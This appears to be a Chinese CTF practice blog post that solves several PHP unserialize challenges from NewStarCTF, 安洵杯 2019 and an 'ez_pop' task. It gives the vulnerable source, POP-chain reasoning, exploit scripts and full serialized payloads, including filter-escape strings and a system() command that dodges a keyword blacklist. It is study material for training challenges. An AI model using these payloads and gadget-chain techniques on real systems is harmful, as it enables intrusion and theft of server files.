7.13刷题
[NewStarCTF 公开赛赛道]UnserializeOne
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()#12当一个对象被销毁时,__destruct() 方法会被调用
{
echo "Welcome to NewStarCTF, ".$this->name;#11__toString() 方法会被自动调用
}
public function __isset($var)#4如何调用__isset,当对不可访问属性(private,protected或者不存在)使用isset()或empty(),isset()会被调用
{
($this->func)();#3 这里可以给func赋值一个实例化的对象,然后调用__invoke
}
}
class Sec{
private $obj;
private $var;
public function __toString()#10当一个对象被当成一个字符串使用时,__toString() 方法会被自动调用
{
$this->obj->check($this->var);#9调用check方法,给obj赋值Easy对象
return "CTFers";
}
public function __invoke()#2想办法执行__invoke,把对象当做函数用
{
echo file_get_contents('/flag'); #1
}
}
class Easy{
public $cla;
public function __call($fun, $var)#8当调用一个不可访问方法时,__call() 会被调用
{
$this->cla = clone $var[0];#7调用clone关键字时,会调用__clone()方法
}
}
class eeee{
public $obj;
public function __clone()#6当使用clone关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone()
{
if(isset($this->obj->cmd)){#5实例化$obj为一个Start对象
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
正向分析
1.创建一个Start对象
2.给name赋值Sec对象
3.Sec对象的obj属性赋值为Easy对象
4.给Easy对象的var属性赋值eeee对象 !!!clone调用把括号里的改成有__clone对象
5.eeee对象的obj属性赋值Start对象
6.给start对象的func属性赋值Sec对象
<?php
class Start{
public $name;
var $func; #!!!!!!!!!!!!!!!!!记得改回protected
}
class Sec{
var $obj; #!!!!!!!!!!!!!!!!!!!!!!!!!!!!记得改回去private
var $var; #!!!!!!!!!!!!!!!!!!!!!!!!!!!!记得改回去private
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$res = new Start;
$res->name = new Sec;//第一条链
$res->name->obj = new Easy;//第二条链
$res->name->var=new eeee;//第三条链
$res->name->var->obj=new Start;//第四条链
$res->name->var->obj->func=new Sec;//第五条链
echo serialize($res);
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}
or
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:8:"%00Sec%00obj";O:4:"Easy":1:{s:3:"cla";N;}s:8:"%00Sec%00var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:7:"%00*%00func";N;}
居然可以不用补上%00%00,长知识了
构造的时候最好按照这种链的方式构造,出现引用好像不太好使
[安洵杯 2019]easy_serialize_php 1
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
phpinfo可以拿到文件名d0g3_f1ag.php
通过post上传session可以进行反序列化
中间的filter函数过滤了'php','flag','php5','php4','fl1g',替换为无字符
可以利用字符减少型绕过
a:2:{s:4:"user";s:23:"flagflagflagflagflagphp";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
吃掉 ";s:8:"function";s:3:" 22个
flagflagflagflagphpphp 22个
可以执行s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
创建一个img元素,赋值为d0g3_f1ag.php的base64编码,记得新创建一个数组元素保证是数组
<?php
$_SESSION["user"] = 'flagflagflagflagflagphp';
$_SESSION['function'] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}';//数组
echo serialize($_SESSION);
GET ?f=show_image
post提交 注意不加$,单引号,分号,空格!_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
查看源代码
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
重新构造数组
///d0g3_fllllllag---base64-->L2QwZzNfZmxsbGxsbGFn
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}
拿到flag
还可以使用键名逃逸
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
这里的键名变为";s:48: 实现了逃逸
[NewStarCTF 2023 公开赛道]Unserialize?
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
<?php
class evil
{
private $cmd='grep fl /th1s_1s_fffflllll4444aaaggggg';
}
echo urlencode(serialize(new evil));
用grep读取
[NewStarCTF 公开赛赛道]UnserializeThree
upload/0412c29576c708cf0155e8de242169b1.jpg
phar反序列化
配合class.php
值得注意的是去掉前面#的影响
$o=new Evil();//别忘了改类名
$o->cmd=urldecode("%0d")."system('cat f*');";
或者
$o->cmd="\r"."system('cat f*');";
主站ez_pop
访问www.zip下载源代码
<?php
//hint is in hint.php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name; #5 $name=new Info()
return 'ok';
}
public function __wakeup(){ #6创建Start对象
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];#4 $file['filename']=new Room()
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();#3 $a=new Room()
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));#1
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);#2$filename=/etc/hint
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
exp:
<?php
class Start
{
public $name='guest';
}
class Info
{
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$res=new Start();
$res->name=new Info();
$res->name->file=['filename'=>new Room()];
$res->name->file['filename']->a=new Room();
echo serialize($res);
?>
payload:O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}}
hint没啥用
标签:function,__,13,obj,name,img,public,刷题 From: https://www.cnblogs.com/dyinglight/p/18622298